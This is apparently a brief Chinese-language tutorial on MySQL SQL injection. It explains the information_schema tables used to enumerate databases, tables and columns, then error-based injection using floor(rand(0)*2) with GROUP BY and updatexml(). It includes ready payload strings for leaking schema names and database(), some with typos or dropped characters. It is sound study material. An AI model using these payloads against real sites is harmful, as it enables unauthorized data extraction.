关于INFORMATION_SCHEMA表的简单介绍
information_schema :数据库是MySQL系统自带的数据库,它提供了数据库元数据的访问方式。
information_schema 数据库中注入时要用到的表有( schemata tables columns)
chemata 表中 字段
schema_name 存放数据库名
tables 表中 字段
table_schema 数据表所属的数据库名
table_name 存放数据库所有表名
columns 表中 字段
table_schema 数据表所属的数据库名
table_name 存放数据库所有表名
column_name 存放数据库所有表里面的列名
SQL注入时常用到的几条查询语句
查找数据库名称
select schema_name from information_schema.schemata 相当于 show databases;
查mysqllname所有表名
select table_name from information_schema.tables where table_schema=mysqlname
查询mysqlname数据库tablename表中的所有字段
select column_name from information_schema.columns where table_schema="mysqlname" and table_name="tablename"
报错注入原理:
由于rand和group+by的冲突,即rand()是不可以作为order by的条件字段,同理也不可以为group by的条件字段。
floor(rand(0)*2) 获取不确定又重复的值造成mysql的错误
floor:向下取整,只保留整数部分,rand(0) -> 0~1
报错注入特点:
页面上没有显示位,但是有SQL语句执行错误信息
报错语句可以分为MYSQL报错
01.PNG
PHP报错
02.PNG
常用语句
and updatexml (1,payload'1)
and updatexml (1,concat(0x7e,payload,0x7e),1) 0x7e 是: 转码来的
(select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
这里的concat(payload)是关键语句 一般都是在这里爆数据库,表和字段
如:
(select 1 from (select count(),concat((database()),floor(rand(0)2))x from information_schema.tables group by x)a)
这是爆数据库名
网友评论